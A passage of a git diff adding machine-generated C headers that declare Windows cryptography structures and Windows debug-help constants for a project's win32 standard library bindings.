CRYPT_XML_PROPERTY; + +typedef struct _PKCS12_PBES2_EXPORT_PARAMS { + unsigned int dwSize; + void* hNcryptDescriptor; + void* pwszPbes2Alg; +} PKCS12_PBES2_EXPORT_PARAMS; + +typedef struct _CMSG_STREAM_INFO { + unsigned int cbContent; + void* pfnStreamOutput; + void* pvArg; +} CMSG_STREAM_INFO; + +typedef struct _CERT_OR_CRL_BUNDLE { + unsigned int cItem; + void* rgItem; +} CERT_OR_CRL_BUNDLE; + +typedef struct _CERT_LDAP_STORE_OPENED_PARA { + void* pvLdapSessionHandle; + void* pwszLdapUrl; +} CERT_LDAP_STORE_OPENED_PARA; + +typedef struct _CERT_NAME_INFO { + unsigned int cRDN; + void* rgRDN; +} CERT_NAME_INFO; + +typedef struct _CRYPT_IMAGE_REF { + void* pszImage; + void* dwFlags; +} CRYPT_IMAGE_REF; + +typedef struct _CERT_CHAIN { + unsigned int cCerts; + void* certs; + void* keyLocatorInfo; +} CERT_CHAIN; + +typedef struct _BCRYPT_PQDSA_PADDING_INFO { + void* pbCtx; + unsigned int cbCtx; + void* pszPrehashAlgId; +} BCRYPT_PQDSA_PADDING_INFO; + +typedef struct _CRYPT_CONTEXT_FUNCTION_CONFIG { + unsigned int dwFlags; + unsigned int dwReserved; +} CRYPT_CONTEXT_FUNCTION_CONFIG; + +typedef struct _CRYPT_OID_INFO { + unsigned int cbSize; + void* pszOID; + void* pwszName; + unsigned int dwGroupId; + void* Anonymous; + void* ExtraInfo; +} CRYPT_OID_INFO; + +typedef struct _CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + unsigned int dwError; + int lChainIndex; + int lElementIndex; + void* pvExtraPolicyStatus; +} CERT_CHAIN_POLICY_STATUS; + +typedef struct _CLMD_PIV_PUBLIC_KEY_DATA { + unsigned int dwVersion; + unsigned char bKeyId; + void* pbPublicKey; + unsigned int cbPublicKey; +} CLMD_PIV_PUBLIC_KEY_DATA; + +typedef struct _CLAIMLIST { + unsigned int count; + void* claims; +} CLAIMLIST; + +typedef struct _NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT { + unsigned int Magic; + unsigned int Version; + unsigned int pcrAlg; + unsigned int cbSignature; + unsigned int cbQuote; + unsigned int cbPcrs; +} NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT; + +typedef struct _CERT_ACCESS_DESCRIPTION { + void* pszAccessMethod; + void* AccessLocation; +} CERT_ACCESS_DESCRIPTION; + +typedef struct _CTL_FIND_USAGE_PARA { + unsigned int cbSize; + void* SubjectUsage; + void* ListIdentifier; + void* pSigner; +} CTL_FIND_USAGE_PARA; + +typedef struct _CRYPT_CONTEXT_CONFIG { + void* dwFlags; + unsigned int dwReserved; +} CRYPT_CONTEXT_CONFIG; + +typedef struct _CMSG_SIGNER_ENCODE_INFO { + unsigned int cbSize; + void* pCertInfo; + void* Anonymous; + unsigned int dwKeySpec; + void* HashAlgorithm; + void* pvHashAuxInfo; + unsigned int cAuthAttr; + void* rgAuthAttr; + unsigned int cUnauthAttr; + void* rgUnauthAttr; +} CMSG_SIGNER_ENCODE_INFO; + +typedef struct _OCSP_REQUEST_INFO { + unsigned int dwVersion; + void* pRequestorName; + unsigned int cRequestEntry; + void* rgRequestEntry; + unsigned int cExtension; + void* rgExtension; +} OCSP_REQUEST_INFO; + +typedef struct _VTableProvStrucW { + unsigned int Version; + void* FuncVerifyImage; + void* FuncReturnhWnd; + unsigned int dwProvType; + void* pbContextInfo; + unsigned int cbContextInfo; + void* pszProvName; +} VTableProvStrucW; + +typedef struct _CONTAINER_INFO { + unsigned int dwVersion; + unsigned int dwReserved; + unsigned int cbSigPublicKey; + void* pbSigPublicKey; + unsigned int cbKeyExPublicKey; + void* pbKeyExPublicKey; +} CONTAINER_INFO; + +typedef struct _CRYPT_OID_FUNC_ENTRY { + void* pszOID; + void* pvFuncAddr; +} CRYPT_OID_FUNC_ENTRY; + +typedef struct _CRYPT_ECC_PRIVATE_KEY_INFO { + unsigned int dwVersion; + void* PrivateKey; + void* szCurveOid; + void* PublicKey; +} CRYPT_ECC_PRIVATE_KEY_INFO; + +typedef struct _NCRYPT_UI_POLICY { + unsigned int dwVersion; + unsigned int dwFlags; + void* pszCreationTitle; + void* pszFriendlyName; + void* pszDescription; +} NCRYPT_UI_POLICY; + +typedef struct _CERT_RDN { + unsigned int cRDNAttr; + void* rgRDNAttr; +} CERT_RDN; + +typedef struct _CMSG_RECIPIENT_ENCRYPTED_KEY_ENCODE_INFO { + unsigned int cbSize; + void* RecipientPublicKey; + void* RecipientId; + void* Date; + void* pOtherAttr; +} CMSG_RECIPIENT_ENCRYPTED_KEY_ENCODE_INFO; + +typedef struct _INFORMATIONCARD_SYMMETRIC_CRYPTO_PARAMETERS { + int keySize; + int blockSize; + int feedbackSize; +} INFORMATIONCARD_SYMMETRIC_CRYPTO_PARAMETERS; + +typedef struct _CERT_POLICIES_INFO { + unsigned int cPolicyInfo; + void* rgPolicyInfo; +} CERT_POLICIES_INFO; + +typedef struct _INFORMATIONCARD_HASH_CRYPTO_PARAMETERS { + int hashSize; + void* transform; +} INFORMATIONCARD_HASH_CRYPTO_PARAMETERS; + +typedef struct _CERT_REGISTRY_STORE_CLIENT_GPT_PARA { + void* hKeyBase; + void* pwszRegPath; +} CERT_REGISTRY_STORE_CLIENT_GPT_PARA; + +typedef struct _CRYPT_PRIVATE_KEY_INFO { + unsigned int Version; + void* Algorithm; + void* PrivateKey; + void* pAttributes; +} CRYPT_PRIVATE_KEY_INFO; + +typedef struct _BCRYPT_PSS_PADDING_INFO { + void* pszAlgId; + unsigned int cbSalt; +} BCRYPT_PSS_PADDING_INFO; + +typedef struct _NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING { + unsigned int Version; + unsigned int ulPaddingScheme; + unsigned int cbHashAlg; + unsigned int ulSalt; +} NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING; + +typedef struct _CRL_DIST_POINT_NAME { + unsigned int dwDistPointNameChoice; + void* Anonymous; +} CRL_DIST_POINT_NAME; + +typedef struct _BCRYPT_DSA_KEY_BLOB { + void* dwMagic; + unsigned int cbKey; + unsigned char Count[4]; + unsigned char Seed[20]; + unsigned char q[20]; +} BCRYPT_DSA_KEY_BLOB; + +typedef struct _CERT_SYSTEM_STORE_RELOCATE_PARA { + void* Anonymous1; + void* Anonymous2; +} CERT_SYSTEM_STORE_RELOCATE_PARA; + +typedef struct _CERT_POLICY_QUALIFIER_INFO { + void* pszPolicyQualifierId; + void* Qualifier; +} CERT_POLICY_QUALIFIER_INFO; + +typedef struct _CMC_TAGGED_CERT_REQUEST { + unsigned int dwBodyPartID; + void* SignedCertRequest; +} CMC_TAGGED_CERT_REQUEST; + +typedef struct _NCRYPT_TPM_PERSISTENT_KEY_BLOB_HEADER { + unsigned int magic; + unsigned int cbHeader; + unsigned int tpmHandle; +} NCRYPT_TPM_PERSISTENT_KEY_BLOB_HEADER; + +typedef struct _CRYPT_TIME_STAMP_REQUEST_INFO { + void* pszTimeStampAlgorithm; + void* pszContentType; + void* Content; + unsigned int cAttribute; + void* rgAttribute; +} CRYPT_TIME_STAMP_REQUEST_INFO; + +typedef struct _AUTHENTICODE_TS_EXTRA_CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + unsigned int dwRegPolicySettings; + BOOL fCommercial; +} AUTHENTICODE_TS_EXTRA_CERT_CHAIN_POLICY_PARA; + +typedef struct _CRYPT_TIMESTAMP_ACCURACY { + unsigned int dwSeconds; + unsigned int dwMillis; + unsigned int dwMicros; +} CRYPT_TIMESTAMP_ACCURACY; + +typedef struct _BCRYPT_PKCS1_PADDING_INFO { + void* pszAlgId; +} BCRYPT_PKCS1_PADDING_INFO; + +typedef struct _CERT_STORE_PROV_INFO { + unsigned int cbSize; + unsigned int cStoreProvFunc; + void* rgpvStoreProvFunc; + void* hStoreProv; + void* dwStoreProvFlags; + void* hStoreProvFuncAddr2; +} CERT_STORE_PROV_INFO; + +typedef struct _CRYPT_URL_INFO { + unsigned int cbSize; + unsigned int dwSyncDeltaTime; + unsigned int cGroup; + void* rgcGroupEntry; +} CRYPT_URL_INFO; + +typedef struct _BCRYPT_ALG_HANDLE { + void* Value; +} BCRYPT_ALG_HANDLE; + +typedef struct _CMSG_CTRL_DEL_SIGNER_UNAUTH_ATTR_PARA { + unsigned int cbSize; + unsigned int dwSignerIndex; + unsigned int dwUnauthAttrIndex; +} CMSG_CTRL_DEL_SIGNER_UNAUTH_ATTR_PARA; + +typedef struct _RECIPIENTPOLICY { + void* recipient; + void* issuer; + void* tokenType; + void* requiredClaims; + void* optionalClaims; + void* privacyUrl; + unsigned int privacyVersion; +} RECIPIENTPOLICY; + +typedef struct _BCRYPT_RNG_FUNCTION_TABLE { + void* Version; + void* OpenAlgorithmProvider; + void* GetProperty; + void* SetProperty; + void* CloseAlgorithmProvider; + void* GenRandom; +} BCRYPT_RNG_FUNCTION_TABLE; + +typedef struct _CERT_BASIC_CONSTRAINTS_INFO { + void* SubjectType; + BOOL fPathLenConstraint; + unsigned int dwPathLenConstraint; + unsigned int cSubtreesConstraint; + void* rgSubtreesConstraint; +} CERT_BASIC_CONSTRAINTS_INFO; + +typedef struct _BCRYPT_MLKEM_KEY_BLOB { + unsigned int dwMagic; + unsigned int cbParameterSet; + unsigned int cbKey; +} BCRYPT_MLKEM_KEY_BLOB; + +typedef struct _CRYPT_DEFAULT_CONTEXT_MULTI_OID_PARA { + unsigned int cOID; + void* rgpszOID; +} CRYPT_DEFAULT_CONTEXT_MULTI_OID_PARA; + +typedef struct _CMSG_SIGNER_INFO { + unsigned int dwVersion; + void* Issuer; + void* SerialNumber; + void* HashAlgorithm; + void* HashEncryptionAlgorithm; + void* EncryptedHash; + void* AuthAttrs; + void* UnauthAttrs; +} CMSG_SIGNER_INFO; + +typedef struct _CRYPT_DES_KEY_STATE { + unsigned char Key[8]; + unsigned char IV[8]; + unsigned char Feedback[8]; +} CRYPT_DES_KEY_STATE; + +typedef struct _BCRYPT_DH_KEY_BLOB { + void* dwMagic; + unsigned int cbKey; +} BCRYPT_DH_KEY_BLOB; + +typedef struct _PUBKEY { + unsigned int magic; + unsigned int bitlen; +} PUBKEY; + +typedef struct _CRYPT_CONTEXTS { + unsigned int cContexts; + void* rgpszContexts; +} CRYPT_CONTEXTS; + +typedef struct _NCRYPT_TPM_LOADABLE_KEY_BLOB_HEADER { + unsigned int magic; + unsigned int cbHeader; + unsigned int cbPublic; + unsigned int cbPrivate; + unsigned int cbName; +} NCRYPT_TPM_LOADABLE_KEY_BLOB_HEADER; + +typedef struct _SSL_ECCKEY_BLOB { + unsigned int dwCurveType; + unsigned int cbKey; +} SSL_ECCKEY_BLOB; + +typedef struct _OCSP_SIGNED_REQUEST_INFO { + void* ToBeSigned; + void* pOptionalSignatureInfo; +} OCSP_SIGNED_REQUEST_INFO; + +typedef struct _CMC_RESPONSE_INFO { + unsigned int cTaggedAttribute; + void* rgTaggedAttribute; + unsigned int cTaggedContentInfo; + void* rgTaggedContentInfo; + unsigned int cTaggedOtherMsg; + void* rgTaggedOtherMsg; +} CMC_RESPONSE_INFO; + +typedef struct _CERT_CHAIN_POLICY_PARA { + unsigned int cbSize; + void* dwFlags; + void* pvExtraPolicyPara; +} CERT_CHAIN_POLICY_PARA; + +typedef struct _CERT_PHYSICAL_STORE_INFO { + unsigned int cbSize; + void* pszOpenStoreProvider; + unsigned int dwOpenEncodingType; + unsigned int dwOpenFlags; + void* OpenParameters; + unsigned int dwFlags; + unsigned int dwPriority; +} CERT_PHYSICAL_STORE_INFO; + +typedef struct _CERT_REVOCATION_INFO { + unsigned int cbSize; + unsigned int dwRevocationResult; + void* pszRevocationOid; + void* pvOidSpecificInfo; + BOOL fHasFreshnessTime; + unsigned int dwFreshnessTime; + void* pCrlInfo; +} CERT_REVOCATION_INFO; + +typedef struct _CPS_URLS { + void* pszURL; + void* pAlgorithm; + void* pDigest; +} CPS_URLS; + +typedef struct _GENERIC_XML_TOKEN { + void* createDate; + void* expiryDate; + void* xmlToken; + void* internalTokenReference; + void* externalTokenReference; +} GENERIC_XML_TOKEN; + +typedef struct _InFileSignatureResource { + unsigned int dwVersion; + unsigned int dwCrcOffset; + unsigned char rgbSignature[88]; +} InFileSignatureResource; + +typedef struct _BCRYPT_ALGORITHM_IDENTIFIER { + void* pszName; + unsigned int dwClass; + unsigned int dwFlags; +} BCRYPT_ALGORITHM_IDENTIFIER; + +typedef struct _CRYPT_XML_BLOB { + void* dwCharset; + unsigned int cbData; + void* pbData; +} CRYPT_XML_BLOB; + +typedef struct _BCRYPT_OAEP_PADDING_INFO { + void* pszAlgId; + void* pbLabel; + unsigned int cbLabel; +} BCRYPT_OAEP_PADDING_INFO; + +typedef struct _CERT_QC_STATEMENTS_EXT_INFO { + unsigned int cStatement; + void* rgStatement; +} CERT_QC_STATEMENTS_EXT_INFO; + +typedef struct _CRL_REVOCATION_INFO { + void* pCrlEntry; + void* pCrlContext; + void* pCrlIssuerChain; +} CRL_REVOCATION_INFO; + +typedef struct _BCRYPT_KEY_DATA_BLOB_HEADER { + unsigned int dwMagic; + unsigned int dwVersion; + unsigned int cbKeyData; +} BCRYPT_KEY_DATA_BLOB_HEADER; + +typedef struct _CRYPT_CONTEXT_FUNCTION_PROVIDERS { + unsigned int cProviders; + void* rgpszProviders; +} CRYPT_CONTEXT_FUNCTION_PROVIDERS; + +typedef struct _CRYPT_ATTRIBUTES { + unsigned int cAttr; + void* rgAttr; +} CRYPT_ATTRIBUTES; + +typedef struct _HMAC_INFO { + void* HashAlgid; + void* pbInnerString; + unsigned int cbInnerString; + void* pbOuterString; + unsigned int cbOuterString; +} HMAC_INFO; + +typedef struct _CERT_BASIC_CONSTRAINTS2_INFO { + BOOL fCA; + BOOL fPathLenConstraint; + unsigned int dwPathLenConstraint; +} CERT_BASIC_CONSTRAINTS2_INFO; + +typedef struct _SIGNER_PROVIDER_INFO { + unsigned int cbSize; + void* pwszProviderName; + unsigned int dwProviderType; + unsigned int dwKeySpec; + void* dwPvkChoice; + void* Anonymous; +} SIGNER_PROVIDER_INFO; + +typedef struct _CMC_ADD_ATTRIBUTES_INFO { + unsigned int dwCmcDataReference; + unsigned int cCertReference; + void* rgdwCertReference; + unsigned int cAttribute; + void* rgAttribute; +} CMC_ADD_ATTRIBUTES_INFO; + +typedef struct _CERT_OTHER_LOGOTYPE_INFO { + void* pszObjId; + void* LogotypeInfo; +} CERT_OTHER_LOGOTYPE_INFO; + +typedef struct _CERT_KEY_CONTEXT { + unsigned int cbSize; + void* Anonymous; + unsigned int dwKeySpec; +} CERT_KEY_CONTEXT; + +typedef struct _CRYPT_ATTRIBUTE_TYPE_VALUE { + void* pszObjId; + void* Value; +} CRYPT_ATTRIBUTE_TYPE_VALUE; + +typedef struct _BCRYPT_DSA_PARAMETER_HEADER_V2 { + unsigned int cbLength; + unsigned int dwMagic; + unsigned int cbKeyLength; + void* hashAlgorithm; + void* standardVersion; + unsigned int cbSeedLength; + unsigned int cbGroupSize; + unsigned char Count[4]; +} BCRYPT_DSA_PARAMETER_HEADER_V2; + +typedef struct _NCRYPT_KEY_STORAGE_FUNCTION_TABLE { + void* Version; + void* OpenProvider; + void* OpenKey; + void* CreatePersistedKey; + void* GetProviderProperty; + void* GetKeyProperty; + void* SetProviderProperty; + void* SetKeyProperty; + void* FinalizeKey; + void* DeleteKey; + void* FreeProvider; + void* FreeKey; + void* FreeBuffer; + void* Encrypt; + void* Decrypt; + void* IsAlgSupported; + void* EnumAlgorithms; + void* EnumKeys; + void* ImportKey; + void* ExportKey; + void* SignHash; + void* VerifySignature; + void* PromptUser; + void* NotifyChangeKey; + void* SecretAgreement; + void* DeriveKey; + void* FreeSecret; + void* KeyDerivation; + void* CreateClaim; + void* VerifyClaim; +} NCRYPT_KEY_STORAGE_FUNCTION_TABLE; + +typedef struct _NCRYPT_SSL_CIPHER_LENGTHS { + unsigned int cbLength; + unsigned int dwHeaderLen; + unsigned int dwFixedTrailerLen; + unsigned int dwMaxVariableTrailerLen; + unsigned int dwFlags; +} NCRYPT_SSL_CIPHER_LENGTHS; + +typedef struct _CERT_BIOMETRIC_DATA { + void* dwTypeOfBiometricDataChoice; + void* Anonymous; + void* HashedUrl; +} CERT_BIOMETRIC_DATA; + +typedef struct _CRYPT_ALGORITHM_IDENTIFIER { + void* pszObjId; + void* Parameters; +} CRYPT_ALGORITHM_IDENTIFIER; + +typedef struct _CRYPT_CREDENTIALS { + unsigned int cbSize; + void* pszCredentialsOid; + void* pvCredentials; +} CRYPT_CREDENTIALS; + +typedef struct _CMSG_CTRL_MAIL_LIST_DECRYPT_PARA { + unsigned int cbSize; + unsigned long long hCryptProv; + void* pMailList; + unsigned int dwRecipientIndex; + unsigned int dwKeyChoice; + void* Anonymous; +} CMSG_CTRL_MAIL_LIST_DECRYPT_PARA; + +typedef struct _CERT_TRUST_LIST_INFO { + unsigned int cbSize; + void* pCtlEntry; + void* pCtlContext; +} CERT_TRUST_LIST_INFO; + +typedef struct _SSL_F12_EXTRA_CERT_CHAIN_POLICY_STATUS { + unsigned int cbSize; + unsigned int dwErrorLevel; + unsigned int dwErrorCategory; + unsigned int dwReserved; + unsigned short wszErrorText[256]; +} SSL_F12_EXTRA_CERT_CHAIN_POLICY_STATUS; + diff --git a/stdlib/win32/debug.h b/stdlib/win32/debug.h new file mode 100644 index 0000000..97848ff --- /dev/null +++ b/stdlib/win32/debug.h @@ -0,0 +1,4274 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Diagnostics.Debug`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define EXCEPTION_EXECUTE_HANDLER 1 +#define EXCEPTION_CONTINUE_SEARCH 0 +#define EXCEPTION_CONTINUE_EXECUTION -1 +#define WOW64_SIZE_OF_80387_REGISTERS 0x50 +#define WOW64_MAXIMUM_SUPPORTED_EXTENSION 0x200 +// SKIPPED const RESTORE_LAST_ERROR_NAME_A: non-integer constant +// SKIPPED const RESTORE_LAST_ERROR_NAME_W: non-integer constant +// SKIPPED const RESTORE_LAST_ERROR_NAME: non-integer constant +#define MAX_SYM_NAME 0x7d0 +#define BIND_NO_BOUND_IMPORTS 0x1 +#define BIND_NO_UPDATE 0x2 +#define BIND_ALL_IMAGES 0x4 +#define BIND_CACHE_IMPORT_DLLS 0x8 +#define BIND_REPORT_64BIT_VA 0x10 +#define CHECKSUM_SUCCESS 0x0 +#define CHECKSUM_OPEN_FAILURE 0x1 +#define CHECKSUM_MAP_FAILURE 0x2 +#define CHECKSUM_MAPVIEW_FAILURE 0x3 +#define CHECKSUM_UNICODE_FAILURE 0x4 +#define SPLITSYM_REMOVE_PRIVATE 0x1 +#define SPLITSYM_EXTRACT_ALL 0x2 +#define SPLITSYM_SYMBOLPATH_IS_SRC 0x4 +#define CERT_PE_IMAGE_DIGEST_DEBUG_INFO 0x1 +#define CERT_PE_IMAGE_DIGEST_RESOURCES 0x2 +#define CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO 0x4 +#define CERT_PE_IMAGE_DIGEST_NON_PE_INFO 0x8 +#define CERT_SECTION_TYPE_ANY 0xff +#define ERROR_IMAGE_NOT_STRIPPED 0x8800 +#define ERROR_NO_DBG_POINTER 0x8801 +#define ERROR_NO_PDB_POINTER 0x8802 +#define UNDNAME_COMPLETE 0x0 +#define UNDNAME_NO_LEADING_UNDERSCORES 0x1 +#define UNDNAME_NO_MS_KEYWORDS 0x2 +#define UNDNAME_NO_FUNCTION_RETURNS 0x4 +#define UNDNAME_NO_ALLOCATION_MODEL 0x8 +#define UNDNAME_NO_ALLOCATION_LANGUAGE 0x10 +#define UNDNAME_NO_MS_THISTYPE 0x20 +#define UNDNAME_NO_CV_THISTYPE 0x40 +#define UNDNAME_NO_THISTYPE 0x60 +#define UNDNAME_NO_ACCESS_SPECIFIERS 0x80 +#define UNDNAME_NO_THROW_SIGNATURES 0x100 +#define UNDNAME_NO_MEMBER_TYPE 0x200 +#define UNDNAME_NO_RETURN_UDT_MODEL 0x400 +#define UNDNAME_32_BIT_DECODE 0x800 +#define UNDNAME_NAME_ONLY 0x1000 +#define UNDNAME_NO_ARGUMENTS 0x2000 +#define UNDNAME_NO_SPECIAL_SYMS 0x4000 +#define DBHHEADER_PDBGUID 0x3 +#define INLINE_FRAME_CONTEXT_INIT 0x0 +#define INLINE_FRAME_CONTEXT_IGNORE 0xffffffff +#define TARGET_ATTRIBUTE_PACMASK 0x1 +#define SYM_STKWALK_DEFAULT 0x0 +#define SYM_STKWALK_FORCE_FRAMEPTR 0x1 +#define SYM_STKWALK_ZEROEXTEND_PTRS 0x2 +#define API_VERSION_NUMBER 0xc +#define SYMFLAG_NULL 0x80000 +#define SYMFLAG_FUNC_NO_RETURN 0x100000 +#define SYMFLAG_SYNTHETIC_ZEROBASE 0x200000 +#define SYMFLAG_PUBLIC_CODE 0x400000 +#define SYMFLAG_REGREL_ALIASINDIR 0x800000 +#define SYMFLAG_FIXUP_ARM64X 0x1000000 +#define SYMFLAG_GLOBAL 0x2000000 +#define SYMFLAG_COMPLEX 0x4000000 +#define SYMFLAG_RESET 0x80000000 +#define IMAGEHLP_MODULE_REGION_DLLBASE 0x1 +#define IMAGEHLP_MODULE_REGION_DLLRANGE 0x2 +#define IMAGEHLP_MODULE_REGION_ADDITIONAL 0x4 +#define IMAGEHLP_MODULE_REGION_JIT 0x8 +#define IMAGEHLP_MODULE_REGION_ALL 0xff +#define CBA_DEFERRED_SYMBOL_LOAD_START 0x1 +#define CBA_DEFERRED_SYMBOL_LOAD_COMPLETE 0x2 +#define CBA_DEFERRED_SYMBOL_LOAD_FAILURE 0x3 +#define CBA_SYMBOLS_UNLOADED 0x4 +#define CBA_DUPLICATE_SYMBOL 0x5 +#define CBA_READ_MEMORY 0x6 +#define CBA_DEFERRED_SYMBOL_LOAD_CANCEL 0x7 +#define CBA_SET_OPTIONS 0x8 +#define CBA_EVENT 0x10 +#define CBA_DEFERRED_SYMBOL_LOAD_PARTIAL 0x20 +#define CBA_DEBUG_INFO 0x10000000 +#define CBA_SRCSRV_INFO 0x20000000 +#define CBA_SRCSRV_EVENT 0x40000000 +#define CBA_UPDATE_STATUS_BAR 0x50000000 +#define CBA_ENGINE_PRESENT 0x60000000 +#define CBA_CHECK_ENGOPT_DISALLOW_NETWORK_PATHS 0x70000000 +#define CBA_CHECK_ARM_MACHINE_THUMB_TYPE_OVERRIDE 0x80000000 +#define CBA_XML_LOG 0x90000000 +#define CBA_MAP_JIT_SYMBOL 0xa0000000 +#define EVENT_SRCSPEW_START 0x64 +#define EVENT_SRCSPEW 0x64 +#define EVENT_SRCSPEW_END 0xc7 +#define DSLFLAG_MISMATCHED_PDB 0x1 +#define DSLFLAG_MISMATCHED_DBG 0x2 +#define FLAG_ENGINE_PRESENT 0x4 +#define FLAG_ENGOPT_DISALLOW_NETWORK_PATHS 0x8 +#define FLAG_OVERRIDE_ARM_MACHINE_TYPE 0x10 +#define SYMOPT_CASE_INSENSITIVE 0x1 +#define SYMOPT_UNDNAME 0x2 +#define SYMOPT_DEFERRED_LOADS 0x4 +#define SYMOPT_NO_CPP 0x8 +#define SYMOPT_LOAD_LINES 0x10 +#define SYMOPT_OMAP_FIND_NEAREST 0x20 +#define SYMOPT_LOAD_ANYTHING 0x40 +#define SYMOPT_IGNORE_CVREC 0x80 +#define SYMOPT_NO_UNQUALIFIED_LOADS 0x100 +#define SYMOPT_FAIL_CRITICAL_ERRORS 0x200 +#define SYMOPT_EXACT_SYMBOLS 0x400 +#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x800 +#define SYMOPT_IGNORE_NT_SYMPATH 0x1000 +#define SYMOPT_INCLUDE_32BIT_MODULES 0x2000 +#define SYMOPT_PUBLICS_ONLY 0x4000 +#define SYMOPT_NO_PUBLICS 0x8000 +#define SYMOPT_AUTO_PUBLICS 0x10000 +#define SYMOPT_NO_IMAGE_SEARCH 0x20000 +#define SYMOPT_SECURE 0x40000 +#define SYMOPT_NO_PROMPTS 0x80000 +#define SYMOPT_OVERWRITE 0x100000 +#define SYMOPT_IGNORE_IMAGEDIR 0x200000 +#define SYMOPT_FLAT_DIRECTORY 0x400000 +#define SYMOPT_FAVOR_COMPRESSED 0x800000 +#define SYMOPT_ALLOW_ZERO_ADDRESS 0x1000000 +#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x2000000 +#define SYMOPT_READONLY_CACHE 0x4000000 +#define SYMOPT_SYMPATH_LAST 0x8000000 +#define SYMOPT_DISABLE_FAST_SYMBOLS 0x10000000 +#define SYMOPT_DISABLE_SYMSRV_TIMEOUT 0x20000000 +#define SYMOPT_DISABLE_SRVSTAR_ON_STARTUP 0x40000000 +#define SYMOPT_DEBUG 0x80000000 +#define SYM_INLINE_COMP_ERROR 0x0 +#define SYM_INLINE_COMP_IDENTICAL 0x1 +#define SYM_INLINE_COMP_STEPIN 0x2 +#define SYM_INLINE_COMP_STEPOUT 0x3 +#define SYM_INLINE_COMP_STEPOVER 0x4 +#define SYM_INLINE_COMP_DIFFERENT 0x5 +#define ESLFLAG_FULLPATH 0x1 +#define ESLFLAG_NEAREST 0x2 +#define ESLFLAG_PREV 0x4 +#define ESLFLAG_NEXT 0x8 +#define ESLFLAG_INLINE_SITE 0x10 +#define SYMENUM_OPTIONS_DEFAULT 0x1 +#define SYMENUM_OPTIONS_INLINE 0x2 +#define SYMSEARCH_MASKOBJS 0x1 +#define SYMSEARCH_RECURSE 0x2 +#define SYMSEARCH_GLOBALSONLY 0x4 +#define SYMSEARCH_ALLITEMS 0x8 +#define EXT_OUTPUT_VER 0x1 +#define SYMSRV_VERSION 0x2 +#define SSRVOPT_CALLBACK 0x1 +#define SSRVOPT_OLDGUIDPTR 0x10 +#define SSRVOPT_UNATTENDED 0x20 +#define SSRVOPT_NOCOPY 0x40 +#define SSRVOPT_GETPATH 0x40 +#define SSRVOPT_PARENTWIN 0x80 +#define SSRVOPT_PARAMTYPE 0x100 +#define SSRVOPT_SECURE 0x200 +#define SSRVOPT_TRACE 0x400 +#define SSRVOPT_SETCONTEXT 0x800 +#define SSRVOPT_PROXY 0x1000 +#define SSRVOPT_DOWNSTREAM_STORE 0x2000 +#define SSRVOPT_OVERWRITE 0x4000 +#define SSRVOPT_RESETTOU 0x8000 +#define SSRVOPT_CALLBACKW 0x10000 +#define SSRVOPT_FLAT_DEFAULT_STORE 0x20000 +#define SSRVOPT_PROXYW 0x40000 +#define SSRVOPT_MESSAGE 0x80000 +#define SSRVOPT_SERVICE 0x100000 +#define SSRVOPT_FAVOR_COMPRESSED 0x200000 +#define SSRVOPT_STRING 0x400000 +#define SSRVOPT_WINHTTP 0x800000 +#define SSRVOPT_WININET 0x1000000 +#define SSRVOPT_DONT_UNCOMPRESS 0x2000000 +#define SSRVOPT_DISABLE_PING_HOST 0x4000000 +#define SSRVOPT_DISABLE_TIMEOUT 0x8000000 +#define SSRVOPT_ENABLE_COMM_MSG 0x10000000 +#define SSRVOPT_URI_FILTER 0x20000000 +#define SSRVOPT_URI_TIERS 0x40000000 +#define SSRVOPT_RETRY_APP_HANG 0x80000000 +#define SSRVOPT_MAX 0x80000000 +#define NUM_SSRVOPTS 0x20 +#define SSRVURI_HTTP_NORMAL 0x1 +#define SSRVURI_HTTP_COMPRESSED 0x2 +#define SSRVURI_HTTP_FILEPTR 0x4 +#define SSRVURI_UNC_NORMAL 0x10 +#define SSRVURI_UNC_COMPRESSED 0x20 +#define SSRVURI_UNC_FILEPTR 0x40 +#define SSRVURI_HTTP_MASK 0xf +#define SSRVURI_UNC_MASK 0xf0 +#define SSRVURI_ALL 0xff +#define SSRVURI_NORMAL 0x1 +#define SSRVURI_COMPRESSED 0x2 +#define SSRVURI_FILEPTR 0x4 +#define SSRVACTION_TRACE 0x1 +#define SSRVACTION_QUERYCANCEL 0x2 +#define SSRVACTION_EVENT 0x3 +#define SSRVACTION_EVENTW 0x4 +#define SSRVACTION_SIZE 0x5 +#define SSRVACTION_HTTPSTATUS 0x6 +#define SSRVACTION_XMLOUTPUT 0x7 +#define SSRVACTION_CHECKSUMSTATUS 0x8 +#define SYMSTOREOPT_ALT_INDEX 0x10 +#define SYMSTOREOPT_UNICODE 0x20 +#define SYMF_OMAP_GENERATED 0x1 +#define SYMF_OMAP_MODIFIED 0x2 +#define SYMF_REGISTER 0x8 +#define SYMF_REGREL 0x10 +#define SYMF_FRAMEREL 0x20 +#define SYMF_PARAMETER 0x40 +#define SYMF_LOCAL 0x80 +#define SYMF_CONSTANT 0x100 +#define SYMF_EXPORT 0x200 +#define SYMF_FORWARDER 0x400 +#define SYMF_FUNCTION 0x800 +#define SYMF_VIRTUAL 0x1000 +#define SYMF_THUNK 0x2000 +#define SYMF_TLSREL 0x4000 +#define IMAGEHLP_SYMBOL_INFO_VALUEPRESENT 0x1 +#define IMAGEHLP_SYMBOL_INFO_REGISTER 0x8 +#define IMAGEHLP_SYMBOL_INFO_REGRELATIVE 0x10 +#define IMAGEHLP_SYMBOL_INFO_FRAMERELATIVE 0x20 +#define IMAGEHLP_SYMBOL_INFO_PARAMETER 0x40 +#define IMAGEHLP_SYMBOL_INFO_LOCAL 0x80 +#define IMAGEHLP_SYMBOL_INFO_CONSTANT 0x100 +#define IMAGEHLP_SYMBOL_FUNCTION 0x800 +#define IMAGEHLP_SYMBOL_VIRTUAL 0x1000 +#define IMAGEHLP_SYMBOL_THUNK 0x2000 +#define 